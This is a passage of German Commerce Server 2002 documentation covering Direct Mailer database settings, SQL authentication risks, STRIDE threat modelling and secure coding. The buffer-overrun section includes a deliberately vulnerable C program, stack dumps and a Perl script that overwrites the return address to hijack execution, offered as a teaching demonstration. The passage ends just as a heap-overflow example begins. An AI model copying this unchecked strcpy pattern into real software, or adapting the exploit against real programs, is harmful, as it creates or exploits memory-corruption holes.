    Integrierte Sicherheit von Windows NT verwenden | Aktivieren Sie diese Option, um festzulegen, dass der Provider eine sichere (bzw. vertrauenswürdige) Verbindung zu einem SQL Server-Computer anfordern soll, auf dem Windows 2000 ausgeführt wird.
    Wählen Sie die Datenbank auf dem Server aus | Wählen Sie in der Dropdownliste die Option DirectMailer aus.
  5. Klicken Sie auf OK.
  6. Klicken Sie im Dialogfeld Eigenschaften von Direct Mail on <Servername> auf OK.
  7. Erweitern Sie nacheinander Commerce Server-Manager, Globale Ressourcen, <Sitename> und Siteressourcen, und klicken Sie mit der rechten Maustaste auf Kampagnen, und wählen Sie dann Eigenschaften.
  8. Klicken Sie im Dialogfeld Kampagneneigenschaften auf Ändern.
  9. Nehmen Sie im Dialogfeld Datenverknüpfungseigenschaften die folgenden Einstellungen vor:
    Option | Aktion
    Geben Sie einen Servernamen ein, oder wählen Sie einen aus | Wählen Sie in der Dropdownliste einen Servernamen aus, oder geben Sie den Pfad des Servers ein, auf dem sich die Datenbank befindet, auf die Sie zugreifen möchten.
    Integrierte Sicherheit von Windows NT verwenden | Aktivieren Sie diese Option, um festzulegen, dass der Provider eine sichere (bzw. vertrauenswürdige) Verbindung zu einem SQL Server-Computer anfordern soll, auf dem Windows 2000 ausgeführt wird.
    Wählen Sie die Datenbank auf dem Server aus | Wählen Sie in der Dropdownliste die Option <Sitename>_commerce aus.
  10. Klicken Sie auf OK.
  11. Klicken Sie im Dialogfeld Eigenschaften von Direct Mail on <Servername> auf OK.

Neustarten von IIS und dem Direct Mailer-Dienst

Nach dem Ändern der Verbindungszeichenfolge müssen Sie IIS neu starten. Außerdem müssen Sie den Direct Mailer-Dienst neu starten, damit die Einstellungen in Kraft treten. Sie können Direct Mailer entweder von der Befehlszeilenschnittstelle aus oder über die Verwaltungstools neu starten.

So verwenden Sie den Befehl "IISReset" für den Neustart von IIS

  1. Klicken Sie auf Start und anschließend auf Ausführen.
  2. Geben Sie im Dialogfeld Ausführen im Feld Öffnen die Zeichenfolge iisreset ein, und klicken Sie anschließend auf OK.

Während IIS zurückgesetzt wird, erscheint ein Befehlsfeld. Wenn das Befehlsfeld geschlossen wird, ist der Rücksetzungsvorgang von IIS beendet.

So starten Sie Direct Mailer von der Befehlszeilenschnittstelle aus neu

  1. Geben Sie in der Befehlszeile die folgende Zeichenfolge ein: net stop dmlservice
  2. Wenn der Dienst beendet wurde, geben Sie den folgenden Befehl ein: net start dmlservice

So starten Sie Direct Mailer vom Modul "Dienste" aus neu

  1. Öffnen Sie das Modul Dienste über das Menü Start. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung, und klicken Sie anschließend auf Dienste.
  2. Klicken Sie im Fenster Dienste im rechten Fensterbereich mit der rechten Maustaste auf Commerce Server Direct Mailer, und wählen Sie Neu starten.

Siehe auch

Konfigurieren von Direct Mailer

Sicherheitsrisiko: Verwenden der SQL-Authentifizierung für die globale Ressource für Direct Mailer


Verwenden der SQL-Authentifizierung

Es wird dringend empfohlen, anstelle der SQL-Authentifizierung die Windows-Authentifizierung für Datenbankverbindungen zu verwenden. In diesem Abschnitt werden die Sicherheitsrisiken dargestellt, die mit dem Einsatz der SQL-Authentifizierung in einer Commerce Server-Bereitstellung verbunden sind.

SQL Server-Authentifizierungen

SQL Server-Kennwörter

SQL Server in einer verteilten Bereitstellung

Erstellen von SQL-Konten für Commerce Server-Ressourcen

SQL Server-Authentifizierung

Es wird empfohlen, anstelle der SQL Server-Authentifizierung die Windows-Authentifizierung zu verwenden. Sollten Sie dennoch die SQL Server-Authentifizierung verwenden, müssen Sie die folgenden Sicherheitsrisiken beachten und Ihre Site durch Ausführen der folgenden Schritte sichern:

  • Klartextkennwörter in Verbindungszeichenfolgen werden in der Verwaltungsdatenbank gespeichert.

    Beim Herstellen einer Verbindung mit einer Commerce Server-Datenbank wird das Klartextkennwort über die Verbindungsleitung übertragen und kann somit von Angreifern ausspioniert werden.

    So sichern Sie die Installation

    • Implementieren Sie ein privates Netzwerk zwischen den Webservern und den SQL-Servern, damit Angreifer den Verkehr zwischen Webserver und SQL Server-Datenbank nicht ausspionieren können.
    • Aktivieren Sie die Verschlüsselung für die Multiprotokollnetzwerkbibliothek auf dem SQL-Server. Eine entsprechende Anleitung finden Sie in der Onlinedokumentation für SQL Server.
    • Aktivieren Sie Secure Sockets Layer (SSL) für Anschluss 1433 des Webservers. Anweisungen dazu finden Sie unter "Einrichten von SSL auf dem Server" in der IIS 5.0-Dokumentation.
    • Verwenden Sie IPSec für die Netzwerkverbindung. Anweisungen finden Sie in der Windows 2000-Hilfe.
  • Klartextkennwörter werden in der OLAP-Datei "msmdrep.mdb" im Verzeichnis \Programme\Microsoft Analysis Services\bin\ gespeichert.

    Diese Datei können Sie sichern, indem Sie entweder den Inhalt in ein Repository in der SQL Server-Datenbank migrieren oder die integrierte Sicherheit von Windows verwenden.

SQL Server-Kennwörter

  • Wenn ein Webserver unter Verwendung der SQL Server-Authentifizierung eine Verbindung mit einem SQL-Server herstellt, wird das SQL-Server-Kennwort als Klartext übermittelt. Um die SQL Server-Verbindung vor Eindringlingen zu schützen, verwenden Sie den Multiprotokoll-Netzwerktreiber von SQL Server. Mit diesem können Sitzungsverbindungen verschlüsselt werden. Wenn Sie die Windows NT-Authentifizierung verwenden, wird das Kennwort geschützt. Von dem Schutz ausgenommen sind Commerce Server-Setup und die Verwendung der Option Schnelles Entpacken in Commerce Server Site Packager.
  • Verwenden Sie nicht die von SQL Server standardmäßig erstellte "sa"-Anmeldung. Sie sollten einen anderen administrativen Anmeldenamen für Ihre Datenbankserver verwenden. Verwenden Sie nie ein leeres Kennwort. Andernfalls erhöht sich das Sicherheitsrisiko für Ihre Site.

SQL Server in einer verteilten Bereitstellung

Wenn es sich bei dem SQL-Server um einen Remoteserver handelt, muss das anonyme IIS-Konto (der Standardwert lautet IUSR_Computername) ein Domänenkonto verwenden.

Weitere Informationen zu den Datenbankzugriffsberechtigungen, die IUSR für den Zugriff auf die Verwaltungsdatenbank gewährt werden sollte, finden Sie unter Sichern der Verwaltungsdatenbank.

Weitere Informationen zum Einrichten des Domänenkontos finden Sie unter Verwenden der Windows-Authentifizierung in einer verteilten Bereitstellung.

Erstellen von SQL-Konten für Commerce Server-Ressourcen

Beim Einsatz der SQL-Authentifizierung empfiehlt sich die Erstellung von SQL-Anmeldungen für folgende Ressourcen:

  • Berechtigungen in Business Desk
  • Kampagnen
  • Produktkataloge
  • Profile
  • Direct Mailer
  • Data Warehouse
  • Transaktionen
  • Transaktionskonfiguration


Entwickeln einer sicheren Site

Dieser Abschnitt befasst sich schwerpunktmäßig mit Entwurf und Entwicklung einer sicheren Site. Er enthält Auszüge aus dem Buch Sichere Software programmieren (Microsoft Press, 2002), die mit Erlaubnis der beiden Autoren Michael Howard und David LeBlanc bereitgestellt wurden. Bevor Sie mit der Entwicklung der Commerce Server-Site beginnen, sollten Sie dieses Buch unbedingt lesen.

Ausführliche Informationen über die Entwicklung einer sicheren Site finden Sie unter Bereitstellen einer sicheren Site.

Dieser Abschnitt beinhaltet folgende Themen:

  • Sicherheitsentwurf durch Erstellung von Gefahrenmodellen
  • Erstellen von sicherem Code
  • Häufige Fehler bei der Websicherheit
  • Probleme mit siteübergreifenden Skripts
  • Sicheres Erstellen von SQL-Anweisungen
  • Ausführen mit der geringsten Berechtigung
  • Vermeiden von DoS-Angriffen (Denial of Service)


Sicherheitsentwurf durch Erstellung von Gefahrenmodellen

Es empfiehlt sich beim Entwurf sowie bei der Entwicklung einer Website, ein Gefahrenmodell zu erstellen. Im Folgenden werden neben den am stärksten gefährdeten Bereichen der Commerce Server-Site das jeweilige Angriffsrisiko, Maßnahmen zur Verringerung des Risikos sowie die Prioritäten für die Durchsetzung dieser Maßnahmen aufgeführt. Durch Erstellung eines Gefahrenmodells können Sie die am meisten gefährdeten Bereiche der Commerce Server-Installation erkennen, entsprechende Tools auswählen und optimale Schutzmaßnahmen implementieren.

Die Erstellung eines Gefahrenmodells erfolgt folgendermaßen:

  1. Erkennen der bekannten Gefahren für das System.
  2. Einordnen der Gefahren nach Schweregrad.
  3. Festlegen der Reaktionen auf die jeweiligen Gefahren.
  4. Bestimmen von Maßnahmen zur Verringerung der Gefahren.
  5. Auswählen der geeigneten Verfahren zur Durchführung der angegebenen Maßnahmen.

Sie müssen diesen Vorgang unter Umständen mehrmals durchführen, da sich die Formulierung aller möglichen Gefahren in einem Durchgang schwierig gestaltet. Darüber hinaus müssen Technologieänderungen, unbekannte Probleme, neue Risiken durch Änderungen in der geschäftlichen und technischen Umgebung sowie hinfällig gewordene Gefahren berücksichtigt werden, da sich diese auf die bekannten Gefahren für das System auswirken.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erkennen bekannter Gefahren
  • Einordnen von Gefahren nach Schweregrad
  • Angeben von Maßnahmen zur Verringerung der Gefahren
  • Auswählen der geeigneten Verfahren zur Durchführung der angegebenen Maßnahmen


Erkennen bekannter Gefahren

Sie müssen Gefahren für die Commerce Server-Installation unbedingt erkennen können. Dabei müssen mögliche Gefahren für die folgenden Datentypen berücksichtigt werden:

  • Konfigurationsdaten: Verbindungszeichenfolgen zu Datenbanken.
  • Authentifizierungsdaten: in der Profildatenbank gespeicherte Benutzernamen und Kennwörter.
  • Persistente Daten: in Commerce Server-Prozessen gespeicherte und verwendete Daten, z. B. SQL Server-Daten, XML-Daten, Registrierungsdaten, Dateien, Authentifizierungs- und Autorisierungsdaten sowie Protokolle.
  • Über Kommunikationskanäle übermittelte Daten: Cookies, Authentifizierungs-, Einkaufs- und Auftragsinformationen sowie Kreditkartennummern.
  • Statusdaten: Daten für die Angabe des Anmeldestatus (angemeldet/nicht angemeldet) des Benutzers sowie in Warenkörben gespeicherte Daten.
  • Temporäre Daten: Daten, die von den Prozessen zur Ausführung der Site erstellt werden.

Beim Bestimmen der Gefährdung dieser Daten müssen Sie die Gesamtarchitektur des Systems berücksichtigen:

  • Kernprozesse, z. B. ausführbare Dateien, COM-Objekte und Dienste.
  • Konfigurations-, Authentifizierungs-, persistente Daten sowie Daten, die über Kommunikationskanäle übermittelt werden.
  • Zwischen den Prozessen verwendete Kommunikationskanäle einschließlich Sockets, Pipelines, Remoteprozeduraufrufen (Remote Procedure Calls, RPCs), DCOM-Objekten (Distributed Component Object Model), TCP/IP und SOAP-Protokoll (Simple Object Access Protocol).

Veranstalten Sie anschließend ein Meeting, und laden Sie hierzu mindestens einen im Unternehmen tätigen Webentwickler, Entwickler, Systemadministrator sowie einen technischen Autoren ein. Untersuchen Sie die Gesamtarchitektur, und versuchen Sie, alle möglichen Sicherheitsgefahren zu bestimmen. Das Ziel des Meetings besteht darin, mögliche Gefahren zu erkennen und nicht die durch sie hervorgerufenen Probleme zu beheben.

Erstellen Sie eine Tabelle, in der die Kernprozesse, persistente und temporäre Daten sowie Kommunikationsprotokolle für die Anwendung aufgelistet werden (siehe hierzu folgende Beispieltabelle).

Komponente oder Protokoll | Kommentare
Browser | Dieser wird vom Client zum Anzeigen von Profil- und Auftragsinformationen verwendet.
HTTP (Hypertext Transfer Protocol) | Der Browser kommuniziert mit dem Webserver unter Verwendung von HTTP.
Webserver | Der Webserver erstellt die HTML-Daten, die vom Browser verarbeitet werden.
Webseiten | Die Webseiten werden als ASP-Seiten (Active Server Pages) erstellt.
Authentifizierungsdaten | Diese werden zum Authentifizieren von registrierten Benutzern verwendet.
Datenbankserver | Commerce Server beinhaltet gespeicherte Prozeduren, die für den Zugriff auf Laufzeit- und Entwurfszeitdaten verwendet werden.

Im nächsten Schritt werden die Gefahren für diese Komponenten und Protokolle zusammengefasst und analysiert.

Dieser Abschnitt beinhaltet folgende Themen:

  • Das STRIDE-Gefahrenmodell
  • Anwenden von STRIDE
  • STRIDE-Gefahren in Commerce Server


Das STRIDE-Gefahrenmodell

Bei der Ermittlung von Gefahren sollten Sie sich folgende Fragen stellen:

  • Wie kann ein Angreifer die Authentifizierungsdaten ändern?
  • Welches sind die Konsequenzen, wenn ein Angreifer auf die Benutzerprofildaten zugreifen kann?
  • Was geschieht, wenn der Zugriff auf die Benutzerprofildatenbank verweigert wird?

Sie können Gefahren in Kategorien zusammenfassen, um diese Arten von gezielten Fragen zu formulieren. Als Grundlage bietet sich beispielsweise das STRIDE-Modell an. Das Akronym STRIDE leitet sich aus den folgenden sechs Gefahrenkategorien ab:

  • Vortäuschung der Identität (Spoofing identity). Ein Beispiel für die Vortäuschung der Identität besteht im illegalen Zugriff und der anschließenden Verwendung von Authentifizierungsdaten eines anderen Benutzers, z. B. des Benutzernamens oder Kennworts.
  • Verfälschung von Daten (Tampering with data). Bei der Datenverfälschung werden Daten böswillig manipuliert. Hierzu gehören nicht autorisierte Änderungen an persistenten Daten, die in einer Datenbank gespeichert sind, sowie die Änderung von Daten während der Übertragung zwischen zwei Computern oder über ein offenes Netzwerk wie das Internet.
  • Zurückweisung (Repudiation). Gefahren durch Zurückweisung treten in Verbindung mit Benutzern auf, die die Durchführung einer Aktion verweigern, ohne dass Dritte die Möglichkeit haben, dagegen einzuschreiten. Ein Benutzer führt beispielsweise eine unzulässige Operation in einem System aus, das nicht in der Lage ist, diese verbotenen Operationen zurückzuverfolgen. Zulassung (Nonrepudiation) bezeichnet die Fähigkeit eines Systems, auf Zurückweisungsgefahren zu reagieren. Ein Benutzer, der einen Artikel kauft, muss unter Umständen bei Empfang des Artikels eine Unterschrift leisten. Der Lieferant kann diese Unterschrift dann als Beweis dafür verwenden, dass der Benutzer den Artikel erhalten hat.
  • Informationsfreigabe (Information disclosure). Hierbei handelt es sich um die Freigabe von Daten an Benutzer, die keinen Zugriff auf diese Daten haben, z. B. ein Benutzer, der ohne entsprechende Rechte auf eine Datei zugreift, oder ein Eindringling, der Daten bei der Übertragung zwischen zwei Computern liest.
  • Denial of Service. Bei DoS-Angriffen (Denial of Service) werden berechtigten Benutzern Dienste verweigert, indem beispielsweise ein Webserver vorübergehend nicht zur Verfügung steht. Sie müssen Schutzmaßnahmen gegen bestimmte Arten von DoS-Angriffen ergreifen, um die Systemverfügbarkeit und -zuverlässigkeit zu erhöhen.
  • Erweiterung von Rechten (Elevation of privilege). Bei dieser Art von Gefahr erlangt ein nicht berechtigter Benutzer berechtigten Zugriff auf das gesamte System und kann dieses gefährden oder zerstören. Hierzu gehören Situationen, in denen ein Angreifer sämtliche Systemsicherungen umgangen hat und Teil des vertrauenswürdigen Systems geworden ist.

Siehe auch

Anwenden von STRIDE

STRIDE-Gefahren in Commerce Server


Anwenden von STRIDE

Die einfachste Möglichkeit zum Anwenden des STRIDE-Modells auf die Anwendung besteht darin, die Auswirkungen der im Modell enthaltenen Gefahren auf alle Commerce Server-Komponenten sowie auf die zugehörigen Verbindungen oder Beziehungen mit anderen Anwendungskomponenten einzuschätzen. Dabei überprüfen Sie sämtliche Bestanteile der Anwendung und ermitteln, ob in die Kategorie S, T, R, I, D oder E fallende Gefahren für die jeweilige Komponenten bzw. den jeweiligen Prozess vorhanden sind. Für die meisten Teile bestehen zahlreiche Gefahren, die alle aufgezeichnet werden müssen.

Im Folgenden werden Gefahren für eine Website beispielhaft dargestellt. Beachten Sie, dass es sich um eine stark gekürzte Liste handelt. In einem zweistündigen Meeting zur Gefahrenanalyse werden Sie problemlos 20 bis 40 Sicherheitsgefahren ermitteln.

  • Gefahr Nr. 1 Ein böswilliger Benutzer zeigt vertrauliche Profildaten, die zwischen dem Webserver und dem Client übertragen werden, an oder verfälscht diese. (Verfälschung von Daten/Informationsfreigabe)
  • Gefahr Nr. 2 Ein böswilliger Benutzer zeigt vertrauliche Profildaten, die zwischen dem Webserver und der COM-Komponente übertragen werden, an oder verfälscht diese. (Verfälschung von Daten/Informationsfreigabe)
  • Gefahr Nr. 3 Ein böswilliger Benutzer greift direkt auf Profildaten in der Datenbank zu oder verfälscht diese. (Verfälschung von Daten/Informationsfreigabe)
  • Gefahr Nr. 4 Ein böswilliger Benutzer zeigt die LDAP-Authentifizierungspakete (Lightweight Directory Access Protocol) an und lernt, diese so zu beantworten, dass er "im Namen" des Benutzers agieren kann. (Vortäuschung der Identität/Informationsfreigabe/Erweiterung von Rechten [wenn es sich bei den verwendeten Authentifizierungsdaten um diejenigen eines Administrators handelt])
  • Gefahr Nr. 5 Ein böswilliger Benutzer manipuliert den Webserver durch Ändern einer oder mehrerer Webseiten. (Verfälschung von Daten)
  • Gefahr Nr. 6 Ein Angreifer verweigert den Zugriff auf den Server der Profildatenbank, indem er auf diesem eine Überlastung durch TCP/IP-Pakete erzeugt. (DoS)
  • Gefahr Nr. 7 Ein Angreifer löscht oder ändert die Überwachungsprotokolle. (Verfälschung von Daten/Zurückweisung)
  • Gefahr Nr. 8 Ein Angreifer platziert den eigenen Webserver im Netzwerk, nachdem er den tatsächlichen Webserver durch einen DoS-Angriff ausgeschaltet hat. (Vortäuschung der Identität. Ein besonders böswilliger Benutzer könnte darüber hinaus sämtliche Gefahrenkategorien auslösen, indem er Kennwörter oder andere Authentifizierungsdaten unrechtmäßig in seinen Besitz bringt, Daten löscht usw.)

Siehe auch

Das Gefahrenmodell STRIDE

STRIDE-Gefahren in Commerce Server


STRIDE-Gefahren in CommerceServer

Feedback zu dieser Seite senden Commerce Server 2002

STRIDE-Gefahren in Commerce Server

In der folgenden Abbildung werden die STRIDE-Gefahren in einer Commerce Server-Installation sowie Maßnahmen zur Reduzierung der Gefahren dargestellt. Zu den Gefahren für die Verwaltungsdatenbank gehören beispielsweise: Verfälschung von Daten, Informationsfreigabe und Denial of Service. Verwenden Sie zur Reduzierung dieser Gefahren Zugriffssteuerungsprotokolle (Access Control Logs, ACLs), SSL (Secure Socket Layer), TLS (Transport Layer Security) und IPSec-Authentifizierung.

Siehe auch

Das Gefahrenmodell STRIDE

Anwenden von STRIDE


Einordnen von Gefahren nach Schweregrad

Erstellen Sie für jede Komponente in der Commerce Server-Installation Prioritäten für mögliche Gefahren, indem Sie Folgendes festlegen:

  • Wie hoch ist die Wahrscheinlichkeit eines Angriffs? Welche Anstrengungen sind daher erforderlich, um den Angriff abzuwehren, und wie hoch sind die anfallenden Kosten und der benötigte Zeitaufwand? (1 = hohe Wahrscheinlichkeit, 10 = geringe Wahrscheinlichkeit)
  • Wie hoch sind die Kosten bzw. die Schäden an der Site im Falle eines Angriffs? (1 = geringer Schaden, 10 = großer Schaden)
  • Risiko = Schaden im Falle eines Angriffs/Wahrscheinlichkeit eines Angriffs. (1 = geringes Risiko, 10 = hohes Risiko)

Um die Risiken für die Commerce Server-Installation zu verringern, befassen Sie sich zunächst mit den Komponenten mit den höchsten Risiken. Beachten Sie hierbei die Industriestatistiken in der folgenden Tabelle. Sie veranschaulichen die aktuelle Verteilung der Anfälligkeit auf sieben Hauptgefahren.

Anfälligkeit | Prozentsatz der Angriffe
Beschränkungen, die umgangen werden können | 20
Argumentüberprüfung | 19
Nicht überprüfter Puffer | 18
Fehlerhafte Zugriffskontrolllisten | 10
Fehlerhafte Berechtigungen | 9
Fehler in der Architektur | 6
Andere Implementierungsfehler | 18

Siehe auch

Angeben von Maßnahmen zur Verringerung der Gefahren


Angeben von Maßnahmen zur Verringerung der Gefahren

In der folgenden Tabelle werden die Maßnahmen dargestellt, die zur Verringerung der Gefahren im STRIDE-Modell verwendet werden können.

Gefahrentyp Maßnahme zur Verringerung der Gefahr
Vortäuschung der Identität
  • Authentifizierung
  • Schutz von Kennwörtern
  • Keine Speicherung von Kennwörtern
Verfälschung von Daten
  • Autorisierung
  • Hashes
  • Codes für die Authentifizierung von Meldungen
  • Digitale Signaturen
  • Fälschungssichere Protokolle
Zurückweisung
  • Digitale Signaturen
  • Zeitstempel
  • Überwachungslisten
Informationsfreigabe
  • Autorisierung
  • Protokolle zur Sicherung der Vertraulichkeit
  • Verschlüsselung
  • Schutz von Kennwörtern
  • Keine Speicherung von Kennwörtern
Denial of Service
  • Authentifizierung
  • Autorisierung
  • Filterung
  • Regulierung
  • Quality of service
Erweiterung von Rechten
  • Ausführung mit der geringsten Berechtigung

Siehe auch

Auswählen der geeigneten Verfahren zur Durchführung der angegebenen Maßnahmen


Auswählen der geeigneten Verfahren zur Durchführung der angegebenen Maßnahmen

Commerce Server stellt Authentifizierungs- und Verschlüsselungsfunktionen, Skripts zur Gewährung der geeigneten Berechtigungsstufe für den Zugriff auf Datenbanken, Ansichten und gespeicherte Prozeduren zur Verfügung.

Darüber hinaus empfiehlt sich die Implementierung der integrierten Windows-Sicherheit (auch bekannt als Kerberos- oder Windows-Authentifizierung) zur Sicherung des Datenbankzugriffs sowie die Verwendung von Zugriffssteuerungsprotokollen (Access Control Logs, ACLs), SSL (Secure Socket Layer), TLS (Transport Layer Security) und IPSec-Authentifizierung.

Eine umfassende Darstellung der verfügbaren Maßnahmen zur Verringerung von Gefahren erhalten Sie im Buch Sichere Software programmieren von Michael Howard und David LeBlanc. Das Thema Erstellen von sicherem Code in dieser Onlinehilfe enthält Informationen aus diesem Buch.


Erstellen von sicherem Code

Die Sicherheit einer Site kann durch Erstellung von sicherem Code gewährleistet werden. In diesem Abschnitt werden Programmierverfahren und allgemeine Fehler dargestellt, die Entwicklern beim Erstellen von Code für eine Webanwendung unterlaufen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Pufferüberläufe
  • Vermeiden von Pufferüberläufen


Pufferüberläufe

Ein Pufferüberlauf tritt auf, wenn ein Angreifer versucht, zu viele Bytes in einen n-Byte-Puffer zu schreiben. Dies kann folgende Auswirkungen auf die Site haben:

  • Sie erhalten eine Zugriffsverletzung.
  • Die Site wird instabil.
  • Der Angreifer fügt Code in die Anwendung ein, führt diesen aus und weist jedem Benutzer Administratorrechte für die Site zu.

In den folgenden Themen dieses Abschnitts werden die verschiedenen Arten von Pufferüberläufen, Fehler bei der Indizierung von Arrays, Fehler in Formatzeichenfolgen sowie unterschiedliche Puffergrößen für Unicode und ANSI. Fehler in Formatzeichenfolgen sind nicht zwangsläufig auf einen vorhandenen Pufferüberlauf zurückzuführen. Diese kürzlich veröffentlichte Form des Angriffs ermöglicht es einem Angreifer jedoch, nahezu alle Aktionen durchzuführen, die bei einem Pufferüberlauf möglich sind. Nach der Darstellung von Pufferüberläufen werden Verfahren zur Vermeidung dieser Probleme erläutert.

Hinweis

  • Die im Lieferumfang von Microsoft Visual Studio .NET enthaltene Version von Visual C++ unterstützt die Vermeidung bestimmter Arten stapelbasierter Überläufe, die ausgenutzt werden können. Die Technologie im Compiler bezieht sich auf alle Windows C++-Anwendungen und nicht nur auf Code, der mit .NET verwaltet wird.

Dieser Abschnitt beinhaltet folgende Themen:

  • Statische Pufferüberläufe
  • Heapüberläufe
  • Fehler bei der Indizierung von Arrays
  • Fehler in Formatzeichenfolgen
  • Unterschiedliche Puffergrößen für Unicode und ANSI


Statische Pufferüberläufe

Ein statischer Pufferüberlauf tritt auf, wenn ein auf dem Stapel deklarierter Puffer überschrieben wird, indem mehr Daten in den Stapel kopiert werden, als der Puffer aufnehmen kann. Im Stapel deklarierte Variablen befinden sich neben der Rücksprungadresse für den Aufrufer der Funktion. Die gängige Ursache liegt in einer ungeprüften Benutzereingabe, die an eine Funktion wie strcpy übergeben wurde. Im Ergebnis wird die Rücksprungadresse für die Funktion durch eine vom Angreifer ausgewählte Adresse überschrieben.

Die folgende Abbildung zeigt den oberen Bereich eines Beispielstapels. Das Problem besteht darin, dass der Puffer in bar() mit dem Code des Angreifers überschrieben werden kann, sodass statt der Rücksprungadresse zu foo() die Adresse zum Assemblercode des Angreifers verwendet wird (siehe die zweite Abbildung). Wie in der dritten Abbildung dargestellt kann der Angreifer eine einfache Kopierfunktion verwenden.

Hierzu muss der Angreifer häufig verschiedene Probleme überwinden, z. B. die Tatsache, dass die Benutzereingabe nicht vollständig ungeprüft ist oder lediglich eine begrenzte Anzahl von Zeichen vom Puffer aufgenommen werden kann. Wenn Sie Doppelbyte-Zeichensätze verwenden, erschweren Sie dem Angreifer die Arbeit. Die hierdurch entstehenden Probleme sind jedoch nicht unüberwindlich.

Das folgende in C geschriebene rudimentäre Programm veranschaulicht die Ausnutzung eines Überlaufs.

/*This program shows an example of how a static
  buffer overrun can be used to execute arbitrary code. Its
  objective is to find an input string that executes the function bar.
*/

#include <stdio.h>
#include <string.h>

void foo(const char* input)
{
    char buf[10];

    //What? No extra arguments supplied to printf?
    //It is a cheap trick to view the stack
    printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

    //Pass the user input straight to secure code public enemy #1.
    strcpy(buf, input);
    printf("%s\n", buf);

    printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
}

void bar(void)
{
    printf("The attack!\n");
}

int main(int argc, char* argv[])
{
    //A blatant shortcut
    printf("Address of foo = %p\n", foo);
    printf("Address of bar = %p\n", bar);
    foo(argv[1]);
    return 0;
}

Diese Anwendung ist fast so leicht zu schreiben wie "Hello, World". Sie beginnt mit dem Ausgeben der Adressen der beiden Funktionen foo und bar, wobei die Option %p der Funktion printf verwendet wird, die eine Adresse anzeigt. Ein echter Angreifer, der in eine Anwendung eindringt, versucht unter Umständen, in den in foo deklarierten Puffer zurückzuspringen oder eine nützliche aus einer System-DLL (Dynamic-Link Library) geladene Funktion zu finden. Das Ziel besteht darin, die bar-Funktion auszuführen. Die foo-Funktion enthält ein Paar von printf-Anweisungen, die einen Seiteneffekt von Funktionen mit variablen Argumenten ausnutzen, um Werte des Stapels auszugeben. Das Problem tritt auf, wenn die foo-Funktion Benutzereingaben ungeprüft übernimmt und diese in einen 10-Byte-Puffer kopiert.

In folgendem Beispiel wird eine Zeichenfolge als Befehlszeilenargument bereitgestellt:

[d:\]StaticOverrun.exe Hello
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A <-- To overwrite the return address for foo.
00410EDE

Hello
Now the stack looks like:
6C6C6548 <-- You can see where "Hello" was copied in.
0000006F
7FFDF000
0012FF80
0040108A
00410EDE

Geben Sie nun zur Überprüfung auf Pufferüberläufe eine lange Zeichenfolge ein:

[d:\]StaticOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAA
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE

AAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
41414141
41414141
41414141
41414141
41414141
41414141

In der nun angezeigten Anwendungsfehlermeldung wird angegeben, dass die Anweisung bei 0x41414141 versucht hat, auf Speicher an der Adresse 0x41414141 zuzugreifen.

In folgendem Beispiel wird das Auffinden der Zeichen dargestellt, die zur Eingabe in die Anwendung benötigt werden:

[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410EBE

ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
54535251
58575655

In der Anwendungsfehlermeldung wird nun angezeigt, dass der Angreifer versucht, Anweisungen an der Adresse 0x54535251 auszuführen. Ein Blick in die ASCII-Tabellen zeigt dem Angreifer, dass es sich bei 0x54 um den Code für den Buchstaben "T" handelt, den er ändern möchte.

Durch die Änderung der Benutzereingabe ist der Angreifer in der Lage, die Stelle zu bearbeiten, an der das Programm die nächste Anweisung ausführt. Zum Beispiel:

[d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRS
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
00000000
00000000
7FFDF000
0012FF80
0040108A
00410ECE

ABCDEFGHIJKLMNOPQRS
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
00535251
00410ECE

Wenn der Angreifer die Zeichenfolge 0x45, 0x10, 0x40 anstelle von "QRS" senden kann, hat dies die Ausführung der Funktion bar zur Folge. Für die Übergabe dieser "seltsamen" Zeichen (0x10 kann nicht ausgegeben werden) an die Befehlszeile kann ein Angreifer folgendes Perl-Skript mit der Bezeichnung "HackOverrun.pl" ausführen und der Anwendung problemlos eine beliebige Befehlszeile senden:

$arg = "ABCDEFGHIJKLMNOP"."\x45\x10\x40";
$cmd = "StaticOverrun ".$arg;

system($cmd);

Durch Ausführung dieses Skripts wird das gewünschte Ergebnis erzielt:

[d:\devstudio\myprojects\staticoverrun]perl HackOverrun.pl
Address of foo = 00401000
Address of bar = 00401045
My stack looks like:
77FB80DB
77F94E68
7FFDF000
0012FF80
0040108A
00410ECA

ABCDEFGHIJKLMNOPE?@
Now the stack looks like:
44434241
48474645
4C4B4A49
504F4E4D
00401045
00410ECA

You have been hacked!

Bei einem tatsächlichen Angriff würde der Angreifer die ersten 16 Zeichen mit Assemblercode füllen, der darauf abzielt, dem Opfer zu schaden. Weiterhin würde er die Rücksprungadresse an den Anfang des Puffers setzen.

Hinweis

  • Der 64-Bit-Itanium-Prozessor von Intel platziert die Rücksprungadresse nicht im Stapel, sondern in einem Register. Dies bedeutet nicht, dass bei diesem Prozessor keine Pufferüberläufe auftreten. Es ist lediglich schwieriger, den Überlauf auszunutzen.


Heapüberläufe

Heapüberläufe unterscheiden sich von statischen Pufferüberläufen im Wesentlichen dadurch, dass Heapüberläufe schwieriger auszunutzen sind. Wie bei einem statischen Pufferüberlauf können Angreifer beliebige Informationen an Positionen in der Anwendung schreiben, auf die sie eigentlich keinen Zugriff haben sollten. Matt Conover von w00w00 Security Development (WSD) hat zu diesem Thema den hervorragenden Artikel "w00w00 on Heap Overflows" (in englischer Sprache) geschrieben. Sie finden diesen Artikel unter www.w00w00.org/files/articles/heaptut.txt.

In der folgenden Anwendung wird die Ausnutzung eines Heapüberlaufs dargestellt:

/*
  HeapOverrun.cpp
*/

#include <stdio.h>
